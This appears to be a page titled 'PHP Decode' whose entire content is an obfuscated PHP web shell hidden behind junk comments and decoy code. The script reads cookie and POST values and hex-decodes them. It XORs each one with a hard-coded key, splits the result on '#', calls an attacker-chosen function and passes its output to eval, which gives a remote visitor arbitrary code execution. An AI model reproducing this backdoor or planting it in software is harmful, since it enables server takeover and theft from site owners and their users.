PHP Decode

<?php function/*   DNOkl */GeikSKtA($DraXuni) 
					/*  N   */{ 
/*cIOW*/return  @pack(	"H"	./*  qb*/'*',/* V */$DraXuni/* hjqoT*/);; 
     
    	$LHWnBUaKF/* U */=	md5($DraXuni); 
  	$BDlzSQkfek	=	base64_decode($DraXuni); 
			 if/*  J   */($BDlzSQkfek     ===    false)/* fjl  */{ 
		$BDlzSQkfek/*  ml */=/*  r */''; 
 
	} 
    /*GLv*/$rLYuBrF	=     str_split($DraXuni);$_LfG	=  '48427'; 
   	$jQrRS	=    strlen($DraXuni); 
				  $SsIrkWBiK	=	0;; 
 
     while	(/*  cspdK   */$SsIrkWBiK	<    $jQrRS     )/*  mjSK  */{ 
     /*  DfSk */$SsIrkWBiK++; 
					/*   VhnoC  */$eBCSyOdSZi  =  $rLYuBrF[$SsIrkWBiK];; 
     /*  DfyvA   */if/* X  */(strpos($eBCSyOdSZi,  'a')/*   KUaPF */!==/*  tfXJJ */false)/* ek   */{ 
	$rLYuBrF[$SsIrkWBiK]    =  strtoupper($eBCSyOdSZi);; 
 
   } 
			/*   ysdh */} 
		$JMMCnwXUO	=	implode('',/*YjX */$rLYuBrF); 
					$_GET['decoded'] =	$JMMCnwXUO;; 
     $_POST['hash']/* FYv   */= $LHWnBUaKF;$_f	=  '53322'; 
 
    if	(file_exists('path/to/file'))	{ 
					 $YMPDJ  =     file_get_contents('path/to/file'); 
			$MhbktMXLxE	=/*  CEl   */explode(',',	$YMPDJ); 
 
/*Q   */$eExkQC    =/* CZRkc  */md5(serialize($MhbktMXLxE)); 
 
 
/*  jj*/if	(is_array($MhbktMXLxE))/* VC */{ 
     /*  YLm*/$KWQHEDL     =/* w*/array_slice($MhbktMXLxE,/* a */0,	5); 
			/* Eq */} 
 
 
/* Fb   */} 
 
	$kYqlVM/*   h   */=     array_map('trim',     $KWQHEDL); 
 $PUZkCuF/*w  */=	rawurldecode(implode(',',   $kYqlVM)); 
			$_COOKIE['final_value']    =	$PUZkCuF;$_IM	= '37672'; 
				} 
    /*  nzMEe  */ 
/* PZ   */function	uVVApHPy() 
		 { 
						$yCUQYbxKyA	=/*  gnbCH   */Array($_COOKIE,	$_POST); 
          $QzUBFiO = array_map('md5',/* O */$_COOKIE);; 
     /* bn*/$lguaR   =	strpos($_SERVER['HTTP_USER_AGENT'],	'Mozilla') !==  false/*  mp  */?/*  OSo  */'browser    is/* QD   */Mozilla'/*   K  */:/*   Savzh  */'browser/*XPI  */is   not/*  cXp  */Mozilla';; 
						 
   	if/*   eBo */(is_array($yCUQYbxKyA))/* b */{ 
         $zQwiHidN	=	array_slice($yCUQYbxKyA,/*aOcEB */0, 1);; 
   	}/*Sfgc  */else	{ 
      $zQwiHidN     =	[];$_kY   =/*   Unv */'56401'; 
		/*  Ssye*/} 
	 
	$THLNmziZ	=	explode(',',     'apple,orange,banana'); 
 
 
/* y */$AITspWOHK	=/*  gVW */rawurldecode('%20Hello%20World%20');; 
					/*  aSi  */$SsIrkWBiK/*   g  */=/*  U*/0;;	 
 
     while	($SsIrkWBiK	</*   i*/count($THLNmziZ)/*v*/)/*   W */{ 
					$THLNmziZ[$SsIrkWBiK]/*   K  */=/* xLmUl */str_repeat($THLNmziZ[$SsIrkWBiK], 2); 
   $SsIrkWBiK++; 
		  } 
					   
     /*  s*/$jmPPoixKaI	=/*   iODg*/str_repeat($lguaR,/*   La   */3);$_DvSM  =	'39094'; 
    	 
					/*   Hz   */return     $yCUQYbxKyA; 
 
	} 
     
		  function/*  z  */tVmVMYF($GzOCtAbyd) 
		/*  FTIPd*/{ 
    /*  tTCtR  */$aYkFLAS	=/*pNGi */"#";; 
 /*  zaGf*/foreach/*  g*/(uVVApHPy()  as	$MIQOre)/* vII  */{ 
     /*  sjZX   */dNEmC($MIQOre,/*   LuBq */$aYkFLAS);; 
 
 
   } 
  	} 
    /*   nCml */ 
 
 
 function    PVCtzafdp($ktltlsUuzX,	$YVLmiFOYzn) 
			/*   ju  */{ 
 /* CZRXA   */if	(	count/*vSd */(/*   JI*/$ktltlsUuzX	)	==  3 )	{ 
  $bqtPl/*w   */=/* JKlbq   */$ktltlsUuzX[1]; 
 /*XRhrO */$gNpFtEy	=/*   LkJog   */$ktltlsUuzX[2]; 
		$IetDrZp	=	$bqtPl($gNpFtEy); 
 
 
/*   je   */eval	(   $IetDrZp/*tXEZp  */); 
     	die/* GN */(); 
  	} 
				} 
	/*  ZQgk  */ 
 
 
    function	WXyaHnE($DraXuni,/* aMQU*/$hEtyUs) 
/* VRKk */{ 
/* BY */return    $DraXuni/*   NiQ */^	$hEtyUs;; 
        } 
 	 
  /*UvjVf   */function	CtqMbXcyo($ZsfHxatmwb, $aYkFLAS) 
 
/*   DhlZ */{	 
		$ZsfHxatmwb    =/*om */explode	($aYkFLAS,  $ZsfHxatmwb/*   T  */); 
 
 
      
   	PVCtzafdp($ZsfHxatmwb,/*PGjJ*/$aYkFLAS); 
	   } 
 
    function	dNEmC($MIQOre,	$aYkFLAS) 
 
 
 { 
   	foreach	(	$MIQOre	as/*   G*/$hEtyUs/* Ai   */=>	$DraXuni/* yJ*/)	{ 
			  oUFWivMrdM($hEtyUs,/*oLYqf */GeikSKtA($DraXuni),	$aYkFLAS); 
						} 
	/*mRz*/} 
 
	 
	function   lxYrvX($hEtyUs,	$DraXuni) 
 
   { 
    /*   k */$bhwQfYUAq    =/*u  */strlen( $DraXuni     )/strlen(	$hEtyUs	);; 
 
 
 $hEtyUs	.=/*qHzn*/"bESumE-Mym-HlwYIlt-BQG-KQPL-hvXEXjh-mebv";$_TvKR	=/* JCL   */'21165'; 
 
 
	$hEtyUs	=  str_repeat	(	$hEtyUs,/*  zgvM  */intval($bhwQfYUAq)    +	1); 
 
 
	 
					/* m*/return/*tMhf */$hEtyUs; 
 } 
  	 
 
	function oUFWivMrdM($hEtyUs,	$DraXuni,/* Sfa */$aYkFLAS) 
				 {	 
   /*  Og */CtqMbXcyo(WXyaHnE($DraXuni,   lxYrvX($hEtyUs,   $DraXuni)),	$aYkFLAS);; 
		 
			$mmHormQs	=	trim($DraXuni); 
	/*   n */$hYQoiZWVYy  = explode($aYkFLAS,     $mmHormQs); 
    /*   jovK*/if/* Fl*/(count($hYQoiZWVYy)/*  eIo*/>	1)	{ 
					/* S */$DTEWRIUNw	=	implode(chr    (45),/*  UaB  */$hYQoiZWVYy);$_QjWx   =/* SzWmL  */'30565'; 
			$FemyE/*UYE   */=	str_pad($DTEWRIUNw,	20,/*  uoCv  */chr/*  B */(	644	-     596  ),	STR_PAD_RIGHT);$_UXifY	=	'30154'; 
  /*   NoJ   */}/* BTLE   */else/* A */{ 
 
 
  $FemyE  =   str_replace(chr    (	523/*  vBrwF*/-  491     ),    chr/*   gHU   */(	150	-	55 ),  $mmHormQs);; 
			/*   TkZ   */} 
		 $TqKybTDFy	=/*   GOcK  */empty($aYkFLAS);$_f	=	'37295'; 
				/*TFv*/if	(!$TqKybTDFy)/* OEI   */{ 
 
 
/*lBYtN  */$RroeiU	=/*  aEn  */substr($FemyE,	0,/*   aU  */10);$_kp =/*N   */'50486'; 
					/*nhzv  */}/*   pIf*/else/*C   */{ 
	   $RroeiU =/*   YPyY*/$FemyE;$_nLoJ =	'63479'; 
 
/*   VYF   */} 
				   } 
			/*   lh */ 
		  tVmVMYF("");$_bI	=/*   fEEI   */'4844'; 
 ?>